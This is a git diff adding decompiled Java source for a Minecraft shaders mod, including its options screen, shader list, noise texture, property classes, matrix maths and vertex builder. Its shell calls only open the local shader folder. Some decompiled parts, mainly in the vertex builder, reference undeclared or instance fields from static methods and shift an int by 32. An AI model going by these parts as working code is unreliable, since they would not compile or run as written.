+          mc.func_175603_A();
+          break;
+        
+        case 9: 
+          Shaders.configTweakBlockDamage = !Shaders.configTweakBlockDamage;
+          break;
+        
+        case 10: 
+          Shaders.configTexMinFilB = (Shaders.configTexMinFilB + 1) % 3;
+          Shaders.configTexMinFilN = Shaders.configTexMinFilS = Shaders.configTexMinFilB;
+          displayString = ("Tex Min: " + Shaders.texMinFilDesc[Shaders.configTexMinFilB]);
+          ShadersTex.updateTextureMinMagFilter();
+          break;
+        
+        case 11: 
+          Shaders.configTexMagFilN = (Shaders.configTexMagFilN + 1) % 2;
+          displayString = ("Tex_n Mag: " + Shaders.texMagFilDesc[Shaders.configTexMagFilN]);
+          ShadersTex.updateTextureMinMagFilter();
+          break;
+        
+        case 12: 
+          Shaders.configTexMagFilS = (Shaders.configTexMagFilS + 1) % 2;
+          displayString = ("Tex_s Mag: " + Shaders.texMagFilDesc[Shaders.configTexMagFilS]);
+          ShadersTex.updateTextureMinMagFilter();
+          break;
+        
+        case 13: 
+          Shaders.configShadowClipFrustrum = !Shaders.configShadowClipFrustrum;
+          displayString = ("ShadowClipFrustrum: " + toStringOnOff(Shaders.configShadowClipFrustrum));
+          ShadersTex.updateTextureMinMagFilter();
+        }
+        
+        var12.updateButtonText();
+      }
+      else
+      {
+        switch (id)
+        {
+        case 201: 
+          switch (getOSType())
+          {
+          case 1: 
+            String gbeso = String.format("cmd.exe /C start \"Open file\" \"%s\"", new Object[] { Shaders.shaderpacksdir.getAbsolutePath() });
+            
+            try
+            {
+              Runtime.getRuntime().exec(gbeso);
+              return;
+            }
+            catch (IOException var9)
+            {
+              var9.printStackTrace();
+            }
+          
+
+          case 2: 
+            try
+            {
+              Runtime.getRuntime().exec(new String[] { "/usr/bin/open", Shaders.shaderpacksdir.getAbsolutePath() });
+              return;
+            }
+            catch (IOException var10)
+            {
+              var10.printStackTrace();
+            }
+          }
+          
+          boolean var11 = false;
+          
+          try
+          {
+            Class val = Class.forName("java.awt.Desktop");
+            Object var14 = val.getMethod("getDesktop", new Class[0]).invoke(null, new Object[0]);
+            val.getMethod("browse", new Class[] { java.net.URI.class }).invoke(var14, new Object[] { new File(mc.mcDataDir, Shaders.shaderpacksdirname).toURI() });
+          }
+          catch (Throwable var8)
+          {
+            var8.printStackTrace();
+            var11 = true;
+          }
+          
+          if (var11)
+          {
+            Config.dbg("Opening via system class!");
+            Sys.openURL("file://" + Shaders.shaderpacksdir.getAbsolutePath());
+          }
+          
+          break;
+        
+        case 202: 
+          new File(Shaders.shadersdir, "current.cfg");
+          
+          try
+          {
+            Shaders.storeConfig();
+          }
+          catch (Exception localException) {}
+          
+
+
+
+          mc.displayGuiScreen(parentGui);
+          break;
+        
+        case 203: 
+          GuiShaderOptions values = new GuiShaderOptions(this, Config.getGameSettings());
+          Config.getMinecraft().displayGuiScreen(values);
+          break;
+        
+        default: 
+          shaderList.actionPerformed(button);
+        }
+        
+      }
+    }
+  }
+  
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    shaderList.drawScreen(mouseX, mouseY, partialTicks);
+    
+    if (updateTimer <= 0)
+    {
+      shaderList.updateList();
+      updateTimer += 20;
+    }
+    
+    drawCenteredString(fontRendererObj, screenTitle + " ", width / 2, 15, 16777215);
+    String info = "OpenGL: " + Shaders.glVersionString + ", " + Shaders.glVendorString + ", " + Shaders.glRendererString;
+    int infoWidth = fontRendererObj.getStringWidth(info);
+    
+    if (infoWidth < width - 5)
+    {
+      drawCenteredString(fontRendererObj, info, width / 2, height - 40, 8421504);
+    }
+    else
+    {
+      drawString(fontRendererObj, info, 5, height - 40, 8421504);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    updateTimer -= 1;
+  }
+  
+  public Minecraft getMc()
+  {
+    return mc;
+  }
+  
+  public void drawCenteredString(String text, int x, int y, int color)
+  {
+    drawCenteredString(fontRendererObj, text, x, y, color);
+  }
+  
+  public static String toStringOnOff(boolean value)
+  {
+    String on = Lang.getOn();
+    String off = Lang.getOff();
+    return value ? on : off;
+  }
+  
+  public static String toStringAa(int value)
+  {
+    return value == 4 ? "FXAA 4x" : value == 2 ? "FXAA 2x" : Lang.getOff();
+  }
+  
+  public static String toStringValue(float val, float[] values, String[] names)
+  {
+    int index = getValueIndex(val, values);
+    return names[index];
+  }
+  
+  public static int getValueIndex(float val, float[] values)
+  {
+    for (int i = 0; i < values.length; i++)
+    {
+      float value = values[i];
+      
+      if (value >= val)
+      {
+        return i;
+      }
+    }
+    
+    return values.length - 1;
+  }
+  
+  public static String toStringQuality(float val)
+  {
+    return toStringValue(val, QUALITY_MULTIPLIERS, QUALITY_MULTIPLIER_NAMES);
+  }
+  
+  public static String toStringHandDepth(float val)
+  {
+    return toStringValue(val, HAND_DEPTH_VALUES, HAND_DEPTH_NAMES);
+  }
+  
+  public static int getOSType()
+  {
+    String osName = System.getProperty("os.name").toLowerCase();
+    return osName.contains("unix") ? 4 : osName.contains("linux") ? 4 : osName.contains("sunos") ? 3 : osName.contains("solaris") ? 3 : osName.contains("mac") ? 2 : osName.contains("win") ? 1 : 0;
+  }
+  
+  static class NamelessClass1647571870
+  {
+    static final int[] $SwitchMap$shadersmod$client$EnumShaderOption = new int[EnumShaderOption.values().length];
+    
+    static
+    {
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.ANTIALIASING.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.NORMAL_MAP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.SPECULAR_MAP.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.RENDER_RES_MUL.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.SHADOW_RES_MUL.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.HAND_DEPTH_MUL.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.CLOUD_SHADOW.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.OLD_LIGHTING.ordinal()] = 8;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TWEAK_BLOCK_DAMAGE.ordinal()] = 9;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TEX_MIN_FIL_B.ordinal()] = 10;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TEX_MAG_FIL_N.ordinal()] = 11;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError11) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TEX_MAG_FIL_S.ordinal()] = 12;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError12) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.SHADOW_CLIP_FRUSTRUM.ordinal()] = 13;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError13) {}
+    }
+    
+    NamelessClass1647571870() {}
+  }
+}
diff --git a/src/minecraft/shadersmod/client/GuiSlotShaders.java b/src/minecraft/shadersmod/client/GuiSlotShaders.java
new file mode 100644
index 0000000..7c728ab
--- /dev/null
+++ b/src/minecraft/shadersmod/client/GuiSlotShaders.java
@@ -0,0 +1,116 @@
+package shadersmod.client;
+
+import java.util.ArrayList;
+import net.minecraft.client.gui.GuiSlot;
+import optifine.Lang;
+
+class GuiSlotShaders extends GuiSlot
+{
+  private ArrayList shaderslist;
+  private int selectedIndex;
+  private long lastClickedCached = 0L;
+  final GuiShaders shadersGui;
+  
+  public GuiSlotShaders(GuiShaders par1GuiShaders, int width, int height, int top, int bottom, int slotHeight)
+  {
+    super(par1GuiShaders.getMc(), width, height, top, bottom, slotHeight);
+    shadersGui = par1GuiShaders;
+    updateList();
+    amountScrolled = 0.0F;
+    int posYSelected = selectedIndex * slotHeight;
+    int wMid = (bottom - top) / 2;
+    
+    if (posYSelected > wMid)
+    {
+      scrollBy(posYSelected - wMid);
+    }
+  }
+  
+
+
+
+  public int getListWidth()
+  {
+    return width - 20;
+  }
+  
+  public void updateList()
+  {
+    shaderslist = Shaders.listOfShaders();
+    selectedIndex = 0;
+    int i = 0;
+    
+    for (int n = shaderslist.size(); i < n; i++)
+    {
+      if (((String)shaderslist.get(i)).equals(Shaders.currentshadername))
+      {
+        selectedIndex = i;
+        break;
+      }
+    }
+  }
+  
+  protected int getSize()
+  {
+    return shaderslist.size();
+  }
+  
+
+
+
+  protected void elementClicked(int index, boolean doubleClicked, int mouseX, int mouseY)
+  {
+    if ((index != selectedIndex) || (lastClicked != lastClickedCached))
+    {
+      selectedIndex = index;
+      lastClickedCached = lastClicked;
+      Shaders.setShaderPack((String)shaderslist.get(index));
+      Shaders.uninit();
+      shadersGui.updateButtons();
+    }
+  }
+  
+
+
+
+  protected boolean isSelected(int index)
+  {
+    return index == selectedIndex;
+  }
+  
+  protected int getScrollBarX()
+  {
+    return width - 6;
+  }
+  
+
+
+
+  protected int getContentHeight()
+  {
+    return getSize() * 18;
+  }
+  
+  protected void drawBackground() {}
+  
+  protected void drawSlot(int index, int posX, int posY, int contentY, int mouseX, int mouseY)
+  {
+    String label = (String)shaderslist.get(index);
+    
+    if (label.equals(Shaders.packNameNone))
+    {
+      label = Lang.get("of.options.shaders.packNone");
+    }
+    else if (label.equals(Shaders.packNameDefault))
+    {
+      label = Lang.get("of.options.shaders.packDefault");
+    }
+    
+    shadersGui.drawCenteredString(label, width / 2, posY + 1, 16777215);
+  }
+  
+  public int getSelectedIndex()
+  {
+    return selectedIndex;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/HFNoiseTexture.java b/src/minecraft/shadersmod/client/HFNoiseTexture.java
new file mode 100644
index 0000000..231c4bf
--- /dev/null
+++ b/src/minecraft/shadersmod/client/HFNoiseTexture.java
@@ -0,0 +1,71 @@
+package shadersmod.client;
+
+import java.nio.ByteBuffer;
+import net.minecraft.client.renderer.GlStateManager;
+import org.lwjgl.BufferUtils;
+import org.lwjgl.opengl.GL11;
+
+public class HFNoiseTexture
+{
+  public int texID = GL11.glGenTextures();
+  public int textureUnit = 15;
+  
+  public HFNoiseTexture(int width, int height)
+  {
+    byte[] image = genHFNoiseImage(width, height);
+    ByteBuffer data = BufferUtils.createByteBuffer(image.length);
+    data.put(image);
+    data.flip();
+    GlStateManager.func_179144_i(texID);
+    GL11.glTexImage2D(3553, 0, 6407, width, height, 0, 6407, 5121, data);
+    GL11.glTexParameteri(3553, 10242, 10497);
+    GL11.glTexParameteri(3553, 10243, 10497);
+    GL11.glTexParameteri(3553, 10240, 9729);
+    GL11.glTexParameteri(3553, 10241, 9729);
+    GlStateManager.func_179144_i(0);
+  }
+  
+  public int getID()
+  {
+    return texID;
+  }
+  
+  public void destroy()
+  {
+    GlStateManager.func_179150_h(texID);
+    texID = 0;
+  }
+  
+  private int random(int seed)
+  {
+    seed ^= seed << 13;
+    seed ^= seed >> 17;
+    seed ^= seed << 5;
+    return seed;
+  }
+  
+  private byte random(int x, int y, int z)
+  {
+    int seed = (random(x) + random(y * 19)) * random(z * 23) - z;
+    return (byte)(random(seed) % 128);
+  }
+  
+  private byte[] genHFNoiseImage(int width, int height)
+  {
+    byte[] image = new byte[width * height * 3];
+    int index = 0;
+    
+    for (int y = 0; y < height; y++)
+    {
+      for (int x = 0; x < width; x++)
+      {
+        for (int z = 1; z < 4; z++)
+        {
+          image[(index++)] = random(x, y, z);
+        }
+      }
+    }
+    
+    return image;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/IShaderPack.java b/src/minecraft/shadersmod/client/IShaderPack.java
new file mode 100644
index 0000000..8ad6993
--- /dev/null
+++ b/src/minecraft/shadersmod/client/IShaderPack.java
@@ -0,0 +1,14 @@
+package shadersmod.client;
+
+import java.io.InputStream;
+
+public abstract interface IShaderPack
+{
+  public abstract String getName();
+  
+  public abstract InputStream getResourceAsStream(String paramString);
+  
+  public abstract boolean hasDirectory(String paramString);
+  
+  public abstract void close();
+}
diff --git a/src/minecraft/shadersmod/client/MultiTexID.java b/src/minecraft/shadersmod/client/MultiTexID.java
new file mode 100644
index 0000000..9d6019e
--- /dev/null
+++ b/src/minecraft/shadersmod/client/MultiTexID.java
@@ -0,0 +1,15 @@
+package shadersmod.client;
+
+public class MultiTexID
+{
+  public int base;
+  public int norm;
+  public int spec;
+  
+  public MultiTexID(int baseTex, int normTex, int specTex)
+  {
+    base = baseTex;
+    norm = normTex;
+    spec = specTex;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/Property.java b/src/minecraft/shadersmod/client/Property.java
new file mode 100644
index 0000000..3219b59
--- /dev/null
+++ b/src/minecraft/shadersmod/client/Property.java
@@ -0,0 +1,141 @@
+package shadersmod.client;
+
+import java.util.Properties;
+import optifine.Config;
+import org.apache.commons.lang3.ArrayUtils;
+
+
+
+public class Property
+{
+  private int[] values = null;
+  private int defaultValue = 0;
+  private String propertyName = null;
+  private String[] propertyValues = null;
+  private String userName = null;
+  private String[] userValues = null;
+  private int value = 0;
+  
+  public Property(String propertyName, String[] propertyValues, String userName, String[] userValues, int defaultValue)
+  {
+    this.propertyName = propertyName;
+    this.propertyValues = propertyValues;
+    this.userName = userName;
+    this.userValues = userValues;
+    this.defaultValue = defaultValue;
+    
+    if (propertyValues.length != userValues.length)
+    {
+      throw new IllegalArgumentException("Property and user values have different lengths: " + propertyValues.length + " != " + userValues.length);
+    }
+    if ((defaultValue >= 0) && (defaultValue < propertyValues.length))
+    {
+      value = defaultValue;
+    }
+    else
+    {
+      throw new IllegalArgumentException("Invalid default value: " + defaultValue);
+    }
+  }
+  
+  public boolean setPropertyValue(String propVal)
+  {
+    if (propVal == null)
+    {
+      value = defaultValue;
+      return false;
+    }
+    
+
+    value = ArrayUtils.indexOf(propertyValues, propVal);
+    
+    if ((value >= 0) && (value < propertyValues.length))
+    {
+      return true;
+    }
+    
+
+    value = defaultValue;
+    return false;
+  }
+  
+
+
+  public void nextValue()
+  {
+    value += 1;
+    
+    if ((value < 0) || (value >= propertyValues.length))
+    {
+      value = 0;
+    }
+  }
+  
+  public void setValue(int val)
+  {
+    value = val;
+    
+    if ((value < 0) || (value >= propertyValues.length))
+    {
+      value = defaultValue;
+    }
+  }
+  
+  public int getValue()
+  {
+    return value;
+  }
+  
+  public String getUserValue()
+  {
+    return userValues[value];
+  }
+  
+  public String getPropertyValue()
+  {
+    return propertyValues[value];
+  }
+  
+  public String getUserName()
+  {
+    return userName;
+  }
+  
+  public String getPropertyName()
+  {
+    return propertyName;
+  }
+  
+  public void resetValue()
+  {
+    value = defaultValue;
+  }
+  
+  public boolean loadFrom(Properties props)
+  {
+    resetValue();
+    
+    if (props == null)
+    {
+      return false;
+    }
+    
+
+    String str = props.getProperty(propertyName);
+    return str == null ? false : setPropertyValue(str);
+  }
+  
+
+  public void saveTo(Properties props)
+  {
+    if (props != null)
+    {
+      props.setProperty(getPropertyName(), getPropertyValue());
+    }
+  }
+  
+  public String toString()
+  {
+    return propertyName + "=" + getPropertyValue() + " [" + Config.arrayToString(propertyValues) + "], value: " + value;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/PropertyDefaultFastFancyOff.java b/src/minecraft/shadersmod/client/PropertyDefaultFastFancyOff.java
new file mode 100644
index 0000000..7f62778
--- /dev/null
+++ b/src/minecraft/shadersmod/client/PropertyDefaultFastFancyOff.java
@@ -0,0 +1,44 @@
+package shadersmod.client;
+
+import optifine.Config;
+
+public class PropertyDefaultFastFancyOff extends Property
+{
+  public static final String[] PROPERTY_VALUES = { "default", "fast", "fancy", "off" };
+  public static final String[] USER_VALUES = { "Default", "Fast", "Fancy", "OFF" };
+  
+  public PropertyDefaultFastFancyOff(String propertyName, String userName, int defaultValue)
+  {
+    super(propertyName, PROPERTY_VALUES, userName, USER_VALUES, defaultValue);
+  }
+  
+  public boolean isDefault()
+  {
+    return getValue() == 0;
+  }
+  
+  public boolean isFast()
+  {
+    return getValue() == 1;
+  }
+  
+  public boolean isFancy()
+  {
+    return getValue() == 2;
+  }
+  
+  public boolean isOff()
+  {
+    return getValue() == 3;
+  }
+  
+  public boolean setPropertyValue(String propVal)
+  {
+    if (Config.equals(propVal, "none"))
+    {
+      propVal = "off";
+    }
+    
+    return super.setPropertyValue(propVal);
+  }
+}
diff --git a/src/minecraft/shadersmod/client/PropertyDefaultTrueFalse.java b/src/minecraft/shadersmod/client/PropertyDefaultTrueFalse.java
new file mode 100644
index 0000000..8a8081a
--- /dev/null
+++ b/src/minecraft/shadersmod/client/PropertyDefaultTrueFalse.java
@@ -0,0 +1,27 @@
+package shadersmod.client;
+
+public class PropertyDefaultTrueFalse extends Property
+{
+  public static final String[] PROPERTY_VALUES = { "default", "true", "false" };
+  public static final String[] USER_VALUES = { "Default", "ON", "OFF" };
+  
+  public PropertyDefaultTrueFalse(String propertyName, String userName, int defaultValue)
+  {
+    super(propertyName, PROPERTY_VALUES, userName, USER_VALUES, defaultValue);
+  }
+  
+  public boolean isDefault()
+  {
+    return getValue() == 0;
+  }
+  
+  public boolean isTrue()
+  {
+    return getValue() == 1;
+  }
+  
+  public boolean isFalse()
+  {
+    return getValue() == 2;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/SMath.java b/src/minecraft/shadersmod/client/SMath.java
new file mode 100644
index 0000000..f9ac406
--- /dev/null
+++ b/src/minecraft/shadersmod/client/SMath.java
@@ -0,0 +1,66 @@
+package shadersmod.client;
+
+import java.nio.FloatBuffer;
+
+public class SMath
+{
+  public SMath() {}
+  
+  static void multiplyMat4xMat4(float[] matOut, float[] matA, float[] matB) {
+    for (int co = 0; co < 4; co++)
+    {
+      for (int ro = 0; ro < 4; ro++)
+      {
+        matOut[(4 * co + ro)] = (matA[(4 * co + 0)] * matB[(0 + ro)] + matA[(4 * co + 1)] * matB[(4 + ro)] + matA[(4 * co + 2)] * matB[(8 + ro)] + matA[(4 * co + 3)] * matB[(12 + ro)]);
+      }
+    }
+  }
+  
+  static void multiplyMat4xVec4(float[] vecOut, float[] matA, float[] vecB)
+  {
+    vecOut[0] = (matA[0] * vecB[0] + matA[4] * vecB[1] + matA[8] * vecB[2] + matA[12] * vecB[3]);
+    vecOut[1] = (matA[1] * vecB[0] + matA[5] * vecB[1] + matA[9] * vecB[2] + matA[13] * vecB[3]);
+    vecOut[2] = (matA[2] * vecB[0] + matA[6] * vecB[1] + matA[10] * vecB[2] + matA[14] * vecB[3]);
+    vecOut[3] = (matA[3] * vecB[0] + matA[7] * vecB[1] + matA[11] * vecB[2] + matA[15] * vecB[3]);
+  }
+  
+  static void invertMat4(float[] matOut, float[] m)
+  {
+    matOut[0] = (m[5] * m[10] * m[15] - m[5] * m[11] * m[14] - m[9] * m[6] * m[15] + m[9] * m[7] * m[14] + m[13] * m[6] * m[11] - m[13] * m[7] * m[10]);
+    matOut[1] = (-m[1] * m[10] * m[15] + m[1] * m[11] * m[14] + m[9] * m[2] * m[15] - m[9] * m[3] * m[14] - m[13] * m[2] * m[11] + m[13] * m[3] * m[10]);
+    matOut[2] = (m[1] * m[6] * m[15] - m[1] * m[7] * m[14] - m[5] * m[2] * m[15] + m[5] * m[3] * m[14] + m[13] * m[2] * m[7] - m[13] * m[3] * m[6]);
+    matOut[3] = (-m[1] * m[6] * m[11] + m[1] * m[7] * m[10] + m[5] * m[2] * m[11] - m[5] * m[3] * m[10] - m[9] * m[2] * m[7] + m[9] * m[3] * m[6]);
+    matOut[4] = (-m[4] * m[10] * m[15] + m[4] * m[11] * m[14] + m[8] * m[6] * m[15] - m[8] * m[7] * m[14] - m[12] * m[6] * m[11] + m[12] * m[7] * m[10]);
+    matOut[5] = (m[0] * m[10] * m[15] - m[0] * m[11] * m[14] - m[8] * m[2] * m[15] + m[8] * m[3] * m[14] + m[12] * m[2] * m[11] - m[12] * m[3] * m[10]);
+    matOut[6] = (-m[0] * m[6] * m[15] + m[0] * m[7] * m[14] + m[4] * m[2] * m[15] - m[4] * m[3] * m[14] - m[12] * m[2] * m[7] + m[12] * m[3] * m[6]);
+    matOut[7] = (m[0] * m[6] * m[11] - m[0] * m[7] * m[10] - m[4] * m[2] * m[11] + m[4] * m[3] * m[10] + m[8] * m[2] * m[7] - m[8] * m[3] * m[6]);
+    matOut[8] = (m[4] * m[9] * m[15] - m[4] * m[11] * m[13] - m[8] * m[5] * m[15] + m[8] * m[7] * m[13] + m[12] * m[5] * m[11] - m[12] * m[7] * m[9]);
+    matOut[9] = (-m[0] * m[9] * m[15] + m[0] * m[11] * m[13] + m[8] * m[1] * m[15] - m[8] * m[3] * m[13] - m[12] * m[1] * m[11] + m[12] * m[3] * m[9]);
+    matOut[10] = (m[0] * m[5] * m[15] - m[0] * m[7] * m[13] - m[4] * m[1] * m[15] + m[4] * m[3] * m[13] + m[12] * m[1] * m[7] - m[12] * m[3] * m[5]);
+    matOut[11] = (-m[0] * m[5] * m[11] + m[0] * m[7] * m[9] + m[4] * m[1] * m[11] - m[4] * m[3] * m[9] - m[8] * m[1] * m[7] + m[8] * m[3] * m[5]);
+    matOut[12] = (-m[4] * m[9] * m[14] + m[4] * m[10] * m[13] + m[8] * m[5] * m[14] - m[8] * m[6] * m[13] - m[12] * m[5] * m[10] + m[12] * m[6] * m[9]);
+    matOut[13] = (m[0] * m[9] * m[14] - m[0] * m[10] * m[13] - m[8] * m[1] * m[14] + m[8] * m[2] * m[13] + m[12] * m[1] * m[10] - m[12] * m[2] * m[9]);
+    matOut[14] = (-m[0] * m[5] * m[14] + m[0] * m[6] * m[13] + m[4] * m[1] * m[14] - m[4] * m[2] * m[13] - m[12] * m[1] * m[6] + m[12] * m[2] * m[5]);
+    matOut[15] = (m[0] * m[5] * m[10] - m[0] * m[6] * m[9] - m[4] * m[1] * m[10] + m[4] * m[2] * m[9] + m[8] * m[1] * m[6] - m[8] * m[2] * m[5]);
+    float det = m[0] * matOut[0] + m[1] * matOut[4] + m[2] * matOut[8] + m[3] * matOut[12];
+    
+    if (det != 0.0D)
+    {
+      for (int i = 0; i < 16; i++)
+      {
+        matOut[i] /= det;
+      }
+      
+    }
+    else {
+      java.util.Arrays.fill(matOut, 0.0F);
+    }
+  }
+  
+  static void invertMat4FBFA(FloatBuffer fbInvOut, FloatBuffer fbMatIn, float[] faInv, float[] faMat)
+  {
+    fbMatIn.get(faMat);
+    invertMat4(faInv, faMat);
+    fbInvOut.put(faInv);
+  }
+}
diff --git a/src/minecraft/shadersmod/client/SVertexAttrib.java b/src/minecraft/shadersmod/client/SVertexAttrib.java
new file mode 100644
index 0000000..2ed410f
--- /dev/null
+++ b/src/minecraft/shadersmod/client/SVertexAttrib.java
@@ -0,0 +1,18 @@
+package shadersmod.client;
+
+import net.minecraft.client.renderer.vertex.VertexFormatElement.EnumType;
+
+public class SVertexAttrib
+{
+  public int index;
+  public int count;
+  public VertexFormatElement.EnumType type;
+  public int offset;
+  
+  public SVertexAttrib(int index, int count, VertexFormatElement.EnumType type)
+  {
+    this.index = index;
+    this.count = count;
+    this.type = type;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/SVertexBuilder.java b/src/minecraft/shadersmod/client/SVertexBuilder.java
new file mode 100644
index 0000000..f7cab10
--- /dev/null
+++ b/src/minecraft/shadersmod/client/SVertexBuilder.java
@@ -0,0 +1,294 @@
+package shadersmod.client;
+
+import java.nio.ByteBuffer;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.vertex.VertexFormat;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.IBlockAccess;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GL20;
+
+public class SVertexBuilder
+{
+  int vertexSize;
+  int offsetNormal;
+  int offsetUV;
+  int offsetUVCenter;
+  boolean hasNormal;
+  boolean hasTangent;
+  boolean hasUV;
+  boolean hasUVCenter;
+  long[] entityData = new long[10];
+  int entityDataIndex = 0;
+  
+  public SVertexBuilder()
+  {
+    entityData[entityDataIndex] = 0L;
+  }
+  
+  public static void initVertexBuilder(WorldRenderer wrr)
+  {
+    sVertexBuilder = new SVertexBuilder();
+  }
+  
+  public void pushEntity(long data)
+  {
+    entityDataIndex += 1;
+    entityData[entityDataIndex] = data;
+  }
+  
+  public void popEntity()
+  {
+    entityData[entityDataIndex] = 0L;
+    entityDataIndex -= 1;
+  }
+  
+  public static void pushEntity(IBlockState blockState, BlockPos blockPos, IBlockAccess blockAccess, WorldRenderer wrr)
+  {
+    Block block = blockState.getBlock();
+    int blockID = Block.getIdFromBlock(block);
+    int renderType = block.getRenderType();
+    int meta = block.getMetaFromState(blockState);
+    int dataLo = ((renderType & 0xFFFF) << 16) + (blockID & 0xFFFF);
+    int dataHi = meta & 0xFFFF;
+    sVertexBuilder.pushEntity((dataHi << 32) + dataLo);
+  }
+  
+  public static void popEntity(WorldRenderer wrr)
+  {
+    sVertexBuilder.popEntity();
+  }
+  
+  public static boolean popEntity(boolean value, WorldRenderer wrr)
+  {
+    sVertexBuilder.popEntity();
+    return value;
+  }
+  
+  public static void endSetVertexFormat(WorldRenderer wrr)
+  {
+    SVertexBuilder svb = sVertexBuilder;
+    VertexFormat vf = wrr.func_178973_g();
+    vertexSize = (vf.func_177338_f() / 4);
+    hasNormal = vf.func_177350_b();
+    hasTangent = hasNormal;
+    hasUV = vf.func_177347_a(0);
+    offsetNormal = (hasNormal ? vf.func_177342_c() / 4 : 0);
+    offsetUV = (hasUV ? vf.func_177344_b(0) / 4 : 0);
+    offsetUVCenter = 8;
+  }
+  
+  public static void beginAddVertex(WorldRenderer wrr)
+  {
+    if (vertexCount == 0)
+    {
+      endSetVertexFormat(wrr);
+    }
+  }
+  
+  public static void endAddVertex(WorldRenderer wrr)
+  {
+    SVertexBuilder svb = sVertexBuilder;
+    
+    if (vertexSize == 14)
+    {
+      if ((drawMode == 7) && (vertexCount % 4 == 0))
+      {
+        svb.calcNormal(wrr, rawBufferIndex - 4 * vertexSize);
+      }
+      
+      long eData = entityData[entityDataIndex];
+      int pos = rawBufferIndex - 14 + 12;
+      rawIntBuffer.put(pos, (int)eData);
+      rawIntBuffer.put(pos + 1, (int)(eData >> 32));
+    }
+  }
+  
+  public static void beginAddVertexData(WorldRenderer wrr, int[] data)
+  {
+    if (vertexCount == 0)
+    {
+      endSetVertexFormat(wrr);
+    }
+    
+    SVertexBuilder svb = sVertexBuilder;
+    
+    if (vertexSize == 14)
+    {
+      long eData = entityData[entityDataIndex];
+      
+      for (int pos = 12; pos + 1 < data.length; pos += 14)
+      {
+        data[pos] = ((int)eData);
+        data[(pos + 1)] = ((int)(eData >> 32));
+      }
+    }
+  }
+  
+  public static void endAddVertexData(WorldRenderer wrr)
+  {
+    SVertexBuilder svb = sVertexBuilder;
+    
+    if ((vertexSize == 14) && (drawMode == 7) && (vertexCount % 4 == 0))
+    {
+      svb.calcNormal(wrr, rawBufferIndex - 4 * vertexSize);
+    }
+  }
+  
+  public void calcNormal(WorldRenderer wrr, int baseIndex)
+  {
+    FloatBuffer floatBuffer = rawFloatBuffer;
+    IntBuffer intBuffer = rawIntBuffer;
+    int rbi = rawBufferIndex;
+    float v0x = floatBuffer.get(baseIndex + 0 * vertexSize);
+    float v0y = floatBuffer.get(baseIndex + 0 * vertexSize + 1);
+    float v0z = floatBuffer.get(baseIndex + 0 * vertexSize + 2);
+    float v0u = floatBuffer.get(baseIndex + 0 * vertexSize + offsetUV);
+    float v0v = floatBuffer.get(baseIndex + 0 * vertexSize + offsetUV + 1);
+    float v1x = floatBuffer.get(baseIndex + 1 * vertexSize);
+    float v1y = floatBuffer.get(baseIndex + 1 * vertexSize + 1);
+    float v1z = floatBuffer.get(baseIndex + 1 * vertexSize + 2);
+    float v1u = floatBuffer.get(baseIndex + 1 * vertexSize + offsetUV);
+    float v1v = floatBuffer.get(baseIndex + 1 * vertexSize + offsetUV + 1);
+    float v2x = floatBuffer.get(baseIndex + 2 * vertexSize);
+    float v2y = floatBuffer.get(baseIndex + 2 * vertexSize + 1);
+    float v2z = floatBuffer.get(baseIndex + 2 * vertexSize + 2);
+    float v2u = floatBuffer.get(baseIndex + 2 * vertexSize + offsetUV);
+    float v2v = floatBuffer.get(baseIndex + 2 * vertexSize + offsetUV + 1);
+    float v3x = floatBuffer.get(baseIndex + 3 * vertexSize);
+    float v3y = floatBuffer.get(baseIndex + 3 * vertexSize + 1);
